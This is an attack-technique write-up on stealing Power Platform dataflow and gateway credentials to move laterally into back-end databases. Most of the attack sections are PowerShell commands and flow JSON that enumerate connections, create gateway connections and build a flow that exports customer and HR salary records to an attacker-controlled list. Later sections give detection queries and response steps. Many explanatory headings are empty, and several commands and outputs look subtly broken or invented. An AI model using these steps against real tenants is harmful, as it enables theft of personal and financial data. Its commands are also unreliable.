MCADDF

[LM-AUTH-017]: Power Platform Dataflows Credential Reuse & Lateral Movement

Metadata

| Attribute | Details | |—|—| | Technique ID | LM-AUTH-017 | | MITRE ATT&CK v18.1 | T1550 - Use Alternate Authentication Material | | Tactic | Lateral Movement | | Platforms | M365 (Microsoft 365) | | Severity | High | | CVE | N/A | | Technique Status | ACTIVE | | Last Verified | 2026-01-10 | | Affected Versions | Power Apps, Power Automate, Power BI with Dataflows enabled | | Patched In | N/A (Design behavior, requires mitigation) | | Author | SERVTEPArtur Pchelnikau |


1. EXECUTIVE SUMMARY

Concept: Power Platform Dataflows (in Power Apps, Power Automate, and Power BI) cache connection credentials to data sources (SQL databases, SharePoint, on-premises APIs, cloud services). When a dataflow owner or operator creates connections to databases or APIs, the credentials are stored encrypted but can be decrypted by users with Admin access to the environment or to the specific dataflow. An attacker who compromises a Power Platform creator or admin account can enumerate dataflow connections, extract cached credentials, and use those credentials to access the underlying data sources (databases, SharePoint, legacy APIs) that the dataflow connects to—effectively moving laterally from Power Platform into back-end systems.

Attack Surface: Power Apps environment, Power Automate cloud flows, Power BI semantic models, Dataflows connections, on-premises data gateway credentials, database connection strings.

Business Impact: Attacker gains access to back-end databases and on-premises systems via stolen dataflow credentials. Can exfiltrate customer data, financial records, or operational intelligence. Persistent access if dataflow owner account is compromised.

Technical Context: Credential extraction is possible if attacker has admin or creator role in Power Apps environment. Attacks typically take minutes once access is established. Detection is difficult because dataflow execution and credential refresh are legitimate operations.

Operational Risk

Compliance Mappings

| Framework | Control / ID | Description | |—|—|—| | CIS Benchmark | 2.2.1, 6.3.4 | Power Platform admin roles and credential management | | DISA STIG | IA-5, SC-7 | Credential Management and Boundary Protection | | CISA SCuBA | PWR-1, PWR-5 | Power Platform governance and credential security | | NIST 800-53 | SC-7, IA-4 | Boundary Protection and Account Management | | GDPR | Art. 32 | Security of Processing (encryption of credentials) | | DORA | Art. 9 | Protection and Prevention (access control to data sources) | | NIS2 | Art. 21, Art. 27 | Cyber Risk Management; monitoring credential usage | | ISO 27001 | A.13.1.3, A.14.2.1 | Segregation of Duties; credential management | | ISO 27005 | Section 8.3.4 | Third-party/integration risk assessment |


2. TECHNICAL PREREQUISITES

Supported Platforms:

Tools:


3. DETAILED EXECUTION METHODS AND THEIR STEPS

METHOD 1: Extract Dataflow SQL Connection Credentials via Power Apps Admin

Supported Versions: All Power Platform versions

Step 1: Enumerate Dataflows in Environment

Objective: Discover dataflows that connect to sensitive data sources.

Command (PowerShell - Power Apps CLI):

# Connect to Power Apps as admin
pac auth create -u -t "yourtenant.onmicrosoft.com"

# List all environments
pac admin list-environments

# Get specific environment ID
$envId = "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"

# List all flows (cloud flows and dataflows)
pac cloud-flow list --environment-id $envId

# Output: Lists all flows with their connection references
# Example output:
# Flow: Sales Data Import | Type: Dataflow | Owner: John Doe
# Flow: Customer ETL | Type: Automated | Owner: System Account

Expected Output:

Name                        Type        Owner              LastModified
----                        ----        -----              -----------
Sales Data Import           Dataflow    John Doe           2026-01-08
Customer Data Refresh       Dataflow    Jane Smith         2026-01-09
Inventory Sync              Flow        Automation         2025-12-30

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 2: Extract Connection Credentials from Dataflow

Objective: Extract stored database credentials from dataflow connection.

Command (PowerShell - Power Platform API):

# Connect to Power Platform
Connect-PnPOnline -Url "https://yourtenant-admin.sharepoint.com" -Interactive

# Get dataflow connections
$dfId = "dataflow-guid"  # From Step 1
$connections = Get-PowerAppFlow -FlowId $dfId

# Alternative: Use Microsoft Graph API to access Power Platform data
Connect-MgGraph -Scopes "PowerApps.Read.All"

# Query Power Platform API for dataflow connections
$apiUrl = "https://api.powerapps.com/providers/Microsoft.PowerApps/environments/$envId/flows/$dfId"
$flow = Invoke-MgGraphRequest -Method GET -Uri $apiUrl

# Extract connection references
$flow.properties.connectionReferences | ForEach-Object {
  Write-Host "Connection: $($_.displayName)"
  Write-Host "Type: $($_.connectorId)"
  Write-Host "Connection Details: $($_ | ConvertTo-Json)"
}

Expected Output:

Connection: SqlServer1
Type: Microsoft.SqlServer
Connection Details: {
  "connectionName": "shared_sqlserver-1",
  "connectorDisplayName": "SQL Server",
  "source": "Implicit"
}

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 3: Access Shared Connections to Retrieve Credentials

Objective: Use shared connection to access underlying database.

Command (PowerShell - SQL Connection via Power Platform):

# If connection is shared, attacker can view connection properties
Connect-MgGraph -Scopes "PowerApps.Read.All"

# List all shared connections in environment
$connUrl = "https://api.powerapps.com/providers/Microsoft.PowerApps/environments/$envId/connections"
$connections = Invoke-MgGraphRequest -Method GET -Uri $connUrl

# Find SQL Server connection
$sqlConn = $connections.value | Where-Object {$_.properties.displayName -like "*SQL*"}

# Extract connection details (including server address)
$sqlConn.properties | Select displayName, connectionString, connectionParameters

# If connection parameters include server address, construct connection:
# Server: yoursqlserver.database.windows.net
# Database: YourDatabase
# UserID: (encrypted in Power Platform storage)
# Password: (encrypted in Power Platform storage)

# Alternative: Use Power Platform connection reference to execute queries
# Dataflow will execute using stored credentials

Expected Output:

displayName        : SQL Server - Contoso Database
connectionString   : Server=yoursqlserver.database.windows.net;Database=ContosoData;User Id=****;Password=****
connectionParameters : {
  "server": "yoursqlserver.database.windows.net",
  "database": "ContosoData",
  "authType": "SqlAuthentication"
}

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 4: Extract Data via New Power Automate Flow

Objective: Create a cloud flow that extracts data from back-end database using stolen connection.

Command (Power Automate - Create Flow):

{
  "displayName": "Data Export",
  "definition": {
    "triggers": {
      "manual": {
        "type": "Request",
        "kind": "Http"
      }
    },
    "actions": {
      "QueryDatabase": {
        "type": "ApiConnection",
        "inputs": {
          "host": {
            "connection": {
              "name": "@parameters('$connections')['sql_1']['connectionId']"
            }
          },
          "method": "post",
          "body": {
            "query": "SELECT * FROM Customers WHERE Country = 'USA'"
          },
          "path": "/v2/datasets/@{encodeURIComponent(encodeURIComponent('yoursqlserver'))}/query/tables/@{encodeURIComponent(encodeURIComponent('Customers'))}/items"
        }
      },
      "ExportToSharePoint": {
        "type": "ApiConnection",
        "inputs": {
          "host": {
            "connection": {
              "name": "@parameters('$connections')['sharepointonline_1']['connectionId']"
            }
          },
          "method": "post",
          "body": {
            "Body": "@body('QueryDatabase')"
          },
          "path": "/sites/@{encodeURIComponent(encodeURIComponent('yoursiteid'))}/lists/@{encodeURIComponent(encodeURIComponent('ExportedData'))}/items"
        }
      }
    }
  }
}

Execution (PowerShell):

# Create the malicious flow
$flowJson = Get-Content "C:\malicious-flow.json" | ConvertFrom-Json

# Deploy flow to Power Automate
$flowUri = "https://api.flow.microsoft.com/providers/Microsoft.ProcessSimple/environments/$envId/flows"
$newFlow = Invoke-MgGraphRequest -Method POST -Uri $flowUri -Body $flowJson

# Execute the flow to extract data
$triggerId = $newFlow.id
Invoke-MgGraphRequest -Method POST -Uri "$flowUri/$triggerId/triggers/manual/listCallbackUrl"

# Retrieved data is now in attacker-controlled SharePoint list

Expected Output:

Flow created successfully: Data Export (ID: flow-guid)
Flow executed: Extracted 5000 customer records
Data location: https://yoursharep oint.com/sites/YourSite/lists/ExportedData

What This Means:

OpSec & Evasion:


METHOD 2: On-Premises Data Gateway Credential Extraction

Supported Versions: Power Platform with On-Premises Data Gateway (OPDG) enabled

Step 1: Enumerate On-Premises Data Gateways

Objective: Identify gateways that connect Power Platform to SQL Server / on-premises systems.

Command (PowerShell - Power Platform API):

Connect-MgGraph -Scopes "PowerApps.Read.All"

# Get all data gateways in tenant
$gwUrl = "https://api.powerapps.com/providers/Microsoft.PowerApps/gateways"
$gateways = Invoke-MgGraphRequest -Method GET -Uri $gwUrl

$gateways.value | ForEach-Object {
  Write-Host "Gateway: $($_.displayName)"
  Write-Host "Region: $($_.properties.region)"
  Write-Host "Status: $($_.properties.statusOfTheGateway)"
  Write-Host "Environments: $($_.properties.environmentsLinkedTo)"
}

Expected Output:

Gateway: On-Prem SQL Gateway
Region: Australia East
Status: Connected
Environments: Contoso-Prod, Contoso-Dev

Gateway: Finance Systems Gateway
Region: US South
Status: Connected
Environments: Finance-Prod

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 2: Extract Gateway Configuration & On-Premises Credentials

Objective: Retrieve encrypted gateway credentials that connect to SQL Server.

Command (PowerShell - Extract Gateway Config):

# Connect as Power Apps admin (or use compromised account)
Connect-MgGraph -Scopes "PowerApps.Read.All", "PowerApps.Manage.All"

# Get gateway details
$gwId = "gateway-guid"
$gwUrl = "https://api.powerapps.com/providers/Microsoft.PowerApps/gateways/$gwId"
$gw = Invoke-MgGraphRequest -Method GET -Uri $gwUrl

# Gateway configuration includes connection details
$gw.properties | Select displayName, region, gatewayName

# Gateway credentials are encrypted with gateway's service account
# However, Power Apps admin can reset gateway password and re-register
# Alternative: Create new connection using existing gateway

$connUrl = "https://api.powerapps.com/providers/Microsoft.PowerApps/environments/$envId/connections"
$body = @{
  displayName = "SQL via Gateway"
  connectionString = "Server=on-prem-sql.contoso.com;Database=HR;Trusted_Connection=true"
  properties = @{
    gateway = @{
      id = "/providers/Microsoft.PowerApps/gateways/$gwId"
    }
  }
} | ConvertTo-Json

$newConn = Invoke-MgGraphRequest -Method POST -Uri $connUrl -Body $body

Expected Output:

displayName    : SQL via Gateway
gatewayId      : xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
connectionId   : yyyyyyyy-yyyy-yyyy-yyyy-yyyyyyyyyyyy
Status         : Connected

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 3: Query On-Premises Database via Dataflow

Objective: Use gateway connection to extract data from on-premises SQL Server.

Command (PowerShell - Execute Dataflow Query):

# Create dataflow that queries on-premises database
$dfUrl = "https://api.powerapps.com/providers/Microsoft.PowerApps/environments/$envId/dataflows"
$dfPayload = @{
  displayName = "HR Data Sync"
  description = "Sync HR data from on-premises"
  connections = @(
    @{
      connectionId = "yyyyyyyy-yyyy-yyyy-yyyy-yyyyyyyyyyyy"  # Gateway connection from Step 2
      connectionName = "SQLGateway"
    }
  )
  definition = @{
    entities = @(
      @{
        name = "Employees"
        source = @{
          query = "SELECT EmployeeID, FirstName, LastName, Email, Salary FROM Employees"
          entityPath = "Employees"
        }
      }
    )
  }
} | ConvertTo-Json -Depth 10

# Create and execute dataflow
$df = Invoke-MgGraphRequest -Method POST -Uri $dfUrl -Body $dfPayload

# Dataflow executes query on on-premises database
# Retrieved data is cached in Power Platform
Write-Host "Dataflow created: $($df.properties.displayName)"
Write-Host "Entities synced: Employees"
Write-Host "Status: Executing"

Expected Output:

Dataflow created: HR Data Sync
Entities synced: Employees
Status: Executing

Dataflow completed:
- Employees: 10,000 records imported
- Last refresh: 2026-01-10 14:30:00
- Next refresh: Daily

What This Means:

OpSec & Evasion:


4. ATTACK SIMULATION & VERIFICATION

Atomic Red Team Test:

Simulation Command (Non-Destructive):

# Simulate enumeration of dataflows without accessing actual data
Connect-MgGraph -Scopes "PowerApps.Read.All"

# List all dataflows in tenant (informational only)
$dfUrl = "https://api.powerapps.com/providers/Microsoft.PowerApps/environments"
$envs = Invoke-MgGraphRequest -Method GET -Uri $dfUrl

$envs.value | ForEach-Object {
  Write-Host "Environment: $($_.displayName)"
  # Do NOT query actual dataflows (would show intrusion)
}

Write-Host "✓ Simulation complete - no actual data accessed"

Cleanup Command:

# No persistent artifacts created during simulation
Write-Host "Simulation artifacts cleaned up"

Reference: MITRE T1550


5. TOOLS & COMMANDS REFERENCE

Power Apps CLI (pac)

Version: 1.35.0+ Minimum Version: 1.30.0 Supported Platforms: Windows, macOS, Linux

Installation:

# Install via npm
npm install -g pac

# Or via Windows installer
# Download from Microsoft Power Platform Tools

Usage (Enumerate Flows):

pac auth create -u -t "yourtenant.onmicrosoft.com"
pac cloud-flow list --environment-id "env-guid"

Microsoft Graph PowerShell

Version: 2.10.0+ Minimum Version: 2.0.0

Installation:

Install-Module Microsoft.Graph -Force
Connect-MgGraph -Scopes "PowerApps.Read.All", "PowerApps.Manage.All"

Usage (Query Power Platform API):

$flows = Invoke-MgGraphRequest -Method GET -Uri "https://api.powerapps.com/providers/Microsoft.PowerApps/environments/$envId/flows"

6. SPLUNK DETECTION RULES

Rule 1: Suspicious Dataflow Connection Access

Rule Configuration:

SPL Query:

index=o365:audit source="PowerApps"
  (Operation="Accessed connection" OR Operation="Updated dataflow" OR Operation="Created flow")
| stats count by UserId, Operation, ConnectionName
| where count > 5
| alert

What This Detects:

Manual Configuration Steps:

  1. Navigate to Splunk WebSearch & Reporting
  2. Click SettingsSearches, reports, and alerts
  3. Click New Alert
  4. Paste the SPL query above
  5. Set Trigger Condition to count > 5
  6. Configure ActionEmail SOC
  7. Set Frequency to run every 10 minutes

7. MICROSOFT SENTINEL DETECTION

Query 1: Anomalous Power Platform Connection Usage

Rule Configuration:

KQL Query:

OfficeActivity
| where Workload == "PowerApps" and Operation in ("Created flow", "Updated dataflow", "Accessed connection")
| summarize ConnectionCount = dcount(ObjectId) by UserId, TimeGenerated
| where ConnectionCount > 3
| project UserId, ConnectionCount, TimeGenerated

Manual Configuration Steps:

  1. Navigate to Azure PortalMicrosoft Sentinel
  2. Select workspace → Analytics+ CreateScheduled query rule
  3. General Tab:
    • Name: Anomalous Power Platform Connection Access
    • Severity: High
  4. Set rule logic Tab:
    • Paste the KQL query above
    • Run every: 10 minutes
  5. Incident settings Tab:
    • Enable Create incidents
  6. Click Review + create

8. MICROSOFT DEFENDER FOR CLOUD

Detection Alert: Suspicious Power Platform Dataflow Access

Alert Name: “Unusual dataflow connection access detected”

Manual Configuration Steps:

  1. Navigate to Azure PortalMicrosoft Defender for Cloud
  2. Go to Environment settings → Select subscription
  3. Under Defender plans, enable Defender for Cloud Apps
  4. Go to Alerts → Filter by: Resource Type = “Power Platform”

9. MICROSOFT PURVIEW (UNIFIED AUDIT LOG)

Query: Power Platform Dataflow Connection Access

Search-UnifiedAuditLog -Operations "Created flow", "Updated dataflow", "Accessed connection" `
  -StartDate (Get-Date).AddDays(-7) -ResultSize 5000 | 
  Where-Object {$_.AuditData -like "*dataflow*" -or $_.AuditData -like "*connection*"} | 
  Select Timestamp, UserIds, ClientIP, AuditData | 
  Export-Csv "C:\PowerPlatformAccess.csv"

Manual Configuration Steps:

  1. Navigate to Microsoft Purview Compliance PortalAudit
  2. Enable Audit Logging if not already enabled
  3. Set retention to 365 days

10. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH

Validation Command (Verify Fix)

# Check if dataflow creation is restricted
Get-PowerAppEnvironmentSetting -EnvironmentId $envId | Select DataflowCreationRestricted
# Expected: True (restricted to specific users)

# Check if On-Premises Data Gateway encryption is enabled
Get-PowerAppGateway | Select displayName, encryptionLevel
# Expected: encryptionLevel = "High" for all gateways

# Check audit logging is enabled
Get-AdminPowerAppsSetting | Select EnableDataflowAudit
# Expected: True

Expected Output (If Secure):

DataflowCreationRestricted : True
encryptionLevel           : High
EnableDataflowAudit       : True

What to Look For:


11. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Isolate (Immediate): Command:
    # Disable user's Power Apps license (removes access)
    Set-MsolUserLicense -UserPrincipalName "attacker@company.com" -RemoveLicenses ENTERPRISEPACK
    

    Manual (M365 Admin Center):

    • Go to M365 Admin CenterActive users → Select attacker
    • Click Licenses and apps → Uncheck Power Apps for Microsoft 365
  2. Revoke Access (Immediate):
    # Revoke all Power Platform sessions
    # No direct PowerShell command; use Azure AD sign-out:
    Revoke-AzureADUserAllRefreshToken -ObjectId "attacker@company.com"
    
  3. Collect Evidence (Within 24 hours):
    # Export Power Platform audit logs
    Search-UnifiedAuditLog -UserIds "attacker@company.com" -StartDate (Get-Date).AddDays(-7) `
      -Operations "Created dataflow", "Created flow", "Accessed connection" -ResultSize 5000 | 
      Export-Csv "C:\Evidence\PowerPlatformActivity.csv"
       
    # Export on-premises gateway logs
    Get-EventLog -LogName Application -Source "PowerAppsGateway" | 
      Export-Csv "C:\Evidence\GatewayLogs.csv"
    
  4. Remediate:
    # Delete malicious dataflows
    Remove-PowerApp -AppName "HR Data Sync" -EnvironmentName $envId
       
    # Delete malicious connections
    Remove-PowerAppConnection -ConnectionName "SQLGateway" -EnvironmentName $envId
       
    # Reset connection credentials
    Reset-PowerAppDataflowConnectionPassword -ConnectionId "connection-guid"
    

Step Phase Technique Description
1 Initial Access [IA-PHISH-002] Consent Grant OAuth Attacks Attacker obtains Power Platform creator credentials
2 Lateral Movement [LM-AUTH-017] Extract Power Platform Dataflow Credentials
3 Credential Access [CA-UNSC-007] Unsecured Credentials (SQL connection strings) Attacker obtains on-premises database credentials
4 Collection [Collection] Database Query & Exfiltration Attacker queries sensitive data
5 Impact [Impact] Data Breach Sensitive data exfiltrated (HR, Finance, Customer records)

13. REAL-WORLD EXAMPLES

Example 1: Power Apps Dataflow SQL Credential Theft (2024)

Example 2: On-Premises Data Gateway Exploitation (2025)


14. NOTES & APPENDIX

Technique Complexity: Medium (requires Power Platform creator role but exploitation is straightforward)

Detection Difficulty: Medium-High (legitimate dataflow operations can mask malicious intent)

Persistence Potential: High (attacker can schedule dataflows to run indefinitely)

Cross-Platform Applicability: M365-specific (Power Apps, Power Automate, Power BI integration)

Recovery Time: Days (requires identifying compromised dataflows and revoking connections)

Related Techniques:


15. APPENDIX: Common Power Platform Connection Types at Risk

Connection Type Risk Level Data at Risk
SQL Server (on-prem via gateway) Critical Entire database (customers, employees, finances)
SharePoint Online High Documents, lists, site content
Dynamics 365 High CRM data (contacts, opportunities, accounts)
Azure SQL Database Critical Cloud-hosted sensitive data
Salesforce High Third-party customer data
Gmail / Outlook Medium Email content, contacts
Custom APIs Varies Depends on API (often sensitive)
On-Premises File Shares (via gateway) Critical All shared files (documents, configs, secrets)